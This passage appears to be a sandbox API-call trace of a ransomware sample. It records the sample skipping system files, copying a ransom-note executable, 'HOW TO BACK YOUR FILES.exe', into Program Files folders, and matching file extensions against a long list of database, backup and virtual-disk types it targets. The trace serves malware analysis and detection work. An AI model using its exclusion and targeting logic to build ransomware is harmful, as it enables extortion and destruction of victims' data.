BACK YOUR FILES.exe") returned -1 [0047.689] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0047.689] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.690] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc596ae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc596ae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.690] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0047.690] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0047.690] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.690] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.690] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2=".") returned 1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="..") returned 1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="windows") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="bootmgr") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="temp") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="pagefile.sys") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="boot") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="ids.txt") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="ntuser.dat") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="perflogs") returned -1 [0047.690] lstrcmpiW (lpString1="Accessories", lpString2="MSBuild") returned -1 [0047.690] lstrlenW (lpString="Accessories") returned 11 [0047.690] lstrcpyW (in: lpString1=0x241e88c, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories" [0047.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da30 [0047.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51be90 [0047.690] lstrcatW (in: lpString1="Accessories", lpString2="\\" | out: lpString1="Accessories\\") returned="Accessories\\" [0047.690] lstrcatW (in: lpString1="Accessories\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Accessories\\HOW TO BACK YOUR FILES.exe") returned="Accessories\\HOW TO BACK YOUR FILES.exe" [0047.690] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 1 [0047.698] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc596ae0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc596ae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0047.698] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0047.698] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2=".") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="..") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="windows") returned -1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="bootmgr") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="temp") returned -1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="pagefile.sys") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="boot") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="ids.txt") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="ntuser.dat") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="perflogs") returned 1 [0047.698] lstrcmpiW (lpString1="TableTextService", lpString2="MSBuild") returned 1 [0047.698] lstrlenW (lpString="TableTextService") returned 16 [0047.698] lstrcpyW (in: lpString1=0x241e88c, lpString2="TableTextService" | out: lpString1="TableTextService") returned="TableTextService" [0047.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5309f8 [0047.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52e660 [0047.698] lstrcatW (in: lpString1="TableTextService", lpString2="\\" | out: lpString1="TableTextService\\") returned="TableTextService\\" [0047.698] lstrcatW (in: lpString1="TableTextService\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="TableTextService\\HOW TO BACK YOUR FILES.exe") returned="TableTextService\\HOW TO BACK YOUR FILES.exe" [0047.698] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\how to back your files.exe"), bFailIfExists=1) returned 1 [0047.702] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0047.702] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0047.703] ReleaseMutex (hMutex=0xec) returned 1 [0047.703] CloseHandle (hObject=0xec) returned 1 [0047.703] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Photo Viewer" | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer" [0047.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5284d0 | out: hHeap=0x4f0000) returned 1 [0047.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da48 | out: hHeap=0x4f0000) returned 1 [0047.703] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Photo Viewer") returned 43 [0047.703] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\487FFB90428354264819F9701F75AB05") returned 0xec [0047.703] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0047.703] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Photo Viewer" | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer" [0047.703] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0047.703] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0047.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0047.703] GetLastError () returned 0x0 [0047.703] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0047.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0047.704] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0047.704] CloseHandle (hObject=0xf4) returned 1 [0047.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0047.704] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0047.704] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc5bcc40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5bcc40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0047.705] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0047.705] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0047.705] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.705] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc5bcc40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5bcc40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.705] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0047.705] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0047.705] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.705] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.705] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0047.705] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0047.705] lstrlenW (lpString="en-US") returned 5 [0047.705] lstrcpyW (in: lpString1=0x241e8a0, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0047.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da48 [0047.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e6d0 [0047.705] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0047.705] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0047.705] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0047.711] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5bcc40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5bcc40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0047.711] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0047.711] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7849cb5e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7849cb5e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacc7aae, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16b08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="windows") returned -1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="bootmgr") returned 1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="temp") returned -1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="pagefile.sys") returned -1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="boot") returned 1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="ids.txt") returned 1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="ntuser.dat") returned -1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="perflogs") returned -1 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="MSBuild") returned -1 [0047.711] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0047.711] lstrcpyW (in: lpString1=0x241e8a0, lpString2="ImagingDevices.exe" | out: lpString1="ImagingDevices.exe") returned="ImagingDevices.exe" [0047.711] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0047.711] lstrlenW (lpString="Athena865") returned 9 [0047.711] lstrcmpiW (lpString1="vices.exe", lpString2="Athena865") returned 1 [0047.711] lstrlenW (lpString=".dll") returned 4 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".dll") returned 1 [0047.711] lstrlenW (lpString=".lnk") returned 4 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".lnk") returned 1 [0047.711] lstrlenW (lpString=".ini") returned 4 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".ini") returned 1 [0047.711] lstrlenW (lpString=".sys") returned 4 [0047.711] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".sys") returned 1 [0047.711] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0047.711] lstrlenW (lpString="bak") returned 3 [0047.711] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0047.712] lstrlenW (lpString="ba_") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0047.712] lstrlenW (lpString="dbb") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0047.712] lstrlenW (lpString="vmdk") returned 4 [0047.712] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0047.712] lstrlenW (lpString="rar") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0047.712] lstrlenW (lpString="zip") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0047.712] lstrlenW (lpString="tgz") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0047.712] lstrlenW (lpString="vbox") returned 4 [0047.712] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0047.712] lstrlenW (lpString="vdi") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0047.712] lstrlenW (lpString="vhd") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0047.712] lstrlenW (lpString="vhdx") returned 4 [0047.712] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0047.712] lstrlenW (lpString="avhd") returned 4 [0047.712] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0047.712] lstrlenW (lpString="db") returned 2 [0047.712] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0047.712] lstrlenW (lpString="db2") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0047.712] lstrlenW (lpString="db3") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0047.712] lstrlenW (lpString="dbf") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0047.712] lstrlenW (lpString="mdf") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0047.712] lstrlenW (lpString="mdb") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0047.712] lstrlenW (lpString="sql") returned 3 [0047.712] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0047.712] lstrlenW (lpString="sqlite") returned 6 [0047.712] lstrcmpiW (lpString1="es.exe", lpString2="sqlite") returned -1 [0047.713] lstrlenW (lpString="sqlite3") returned 7 [0047.713] lstrcmpiW (lpString1="ces.exe", lpString2="sqlite3") returned -1 [0047.713] lstrlenW (lpString="sqlitedb") returned 8 [0047.713] lstrcmpiW (lpString1="ices.exe", lpString2="sqlitedb") returned -1 [0047.713] lstrlenW (lpString="xml") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0047.713] lstrlenW (lpString="$er") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0047.713] lstrlenW (lpString="4dd") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0047.713] lstrlenW (lpString="4dl") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0047.713] lstrlenW (lpString="^^^") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0047.713] lstrlenW (lpString="abs") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0047.713] lstrlenW (lpString="abx") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0047.713] lstrlenW (lpString="accdb") returned 5 [0047.713] lstrcmpiW (lpString1="s.exe", lpString2="accdb") returned 1 [0047.713] lstrlenW (lpString="accdc") returned 5 [0047.713] lstrcmpiW (lpString1="s.exe", lpString2="accdc") returned 1 [0047.713] lstrlenW (lpString="accde") returned 5 [0047.713] lstrcmpiW (lpString1="s.exe", lpString2="accde") returned 1 [0047.713] lstrlenW (lpString="accdr") returned 5 [0047.713] lstrcmpiW (lpString1="s.exe", lpString2="accdr") returned 1 [0047.713] lstrlenW (lpString="accdt") returned 5 [0047.713] lstrcmpiW (lpString1="s.exe", lpString2="accdt") returned 1 [0047.713] lstrlenW (lpString="accdw") returned 5 [0047.713] lstrcmpiW (lpString1="s.exe", lpString2="accdw") returned 1 [0047.713] lstrlenW (lpString="accft") returned 5 [0047.713] lstrcmpiW (lpString1="s.exe", lpString2="accft") returned 1 [0047.713] lstrlenW (lpString="adb") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.713] lstrlenW (lpString="adb") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.713] lstrlenW (lpString="ade") returned 3 [0047.713] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0047.714] lstrlenW (lpString="adf") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0047.714] lstrlenW (lpString="adn") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0047.714] lstrlenW (lpString="adp") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0047.714] lstrlenW (lpString="alf") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0047.714] lstrlenW (lpString="ask") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0047.714] lstrlenW (lpString="btr") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0047.714] lstrlenW (lpString="cat") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0047.714] lstrlenW (lpString="cdb") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0047.714] lstrlenW (lpString="ckp") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0047.714] lstrlenW (lpString="cma") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0047.714] lstrlenW (lpString="cpd") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0047.714] lstrlenW (lpString="dacpac") returned 6 [0047.714] lstrcmpiW (lpString1="es.exe", lpString2="dacpac") returned 1 [0047.714] lstrlenW (lpString="dad") returned 3 [0047.714] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0047.714] lstrlenW (lpString="dadiagrams") returned 10 [0047.714] lstrcmpiW (lpString1="evices.exe", lpString2="dadiagrams") returned 1 [0047.714] lstrlenW (lpString="daschema") returned 8 [0047.714] lstrcmpiW (lpString1="ices.exe", lpString2="daschema") returned 1 [0047.714] lstrlenW (lpString="db-journal") returned 10 [0047.714] lstrcmpiW (lpString1="evices.exe", lpString2="db-journal") returned 1 [0047.714] lstrlenW (lpString="db-shm") returned 6 [0047.714] lstrcmpiW (lpString1="es.exe", lpString2="db-shm") returned 1 [0047.714] lstrlenW (lpString="db-wal") returned 6 [0047.714] lstrcmpiW (lpString1="es.exe", lpString2="db-wal") returned 1 [0047.714] lstrlenW (lpString="dbc") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0047.715] lstrlenW (lpString="dbs") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0047.715] lstrlenW (lpString="dbt") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0047.715] lstrlenW (lpString="dbv") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0047.715] lstrlenW (lpString="dbx") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0047.715] lstrlenW (lpString="dcb") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0047.715] lstrlenW (lpString="dct") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0047.715] lstrlenW (lpString="dcx") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0047.715] lstrlenW (lpString="ddl") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0047.715] lstrlenW (lpString="dlis") returned 4 [0047.715] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0047.715] lstrlenW (lpString="dp1") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0047.715] lstrlenW (lpString="dqy") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0047.715] lstrlenW (lpString="dsk") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0047.715] lstrlenW (lpString="dsn") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0047.715] lstrlenW (lpString="dtsx") returned 4 [0047.715] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0047.715] lstrlenW (lpString="dxl") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0047.715] lstrlenW (lpString="eco") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0047.715] lstrlenW (lpString="ecx") returned 3 [0047.715] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0047.715] lstrlenW (lpString="edb") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0047.716] lstrlenW (lpString="epim") returned 4 [0047.716] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0047.716] lstrlenW (lpString="fcd") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0047.716] lstrlenW (lpString="fdb") returned 3 [0047.716] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0047.716] lstrlenW (lpString="fic") returned 3 [0047.716] lstrcmpiW 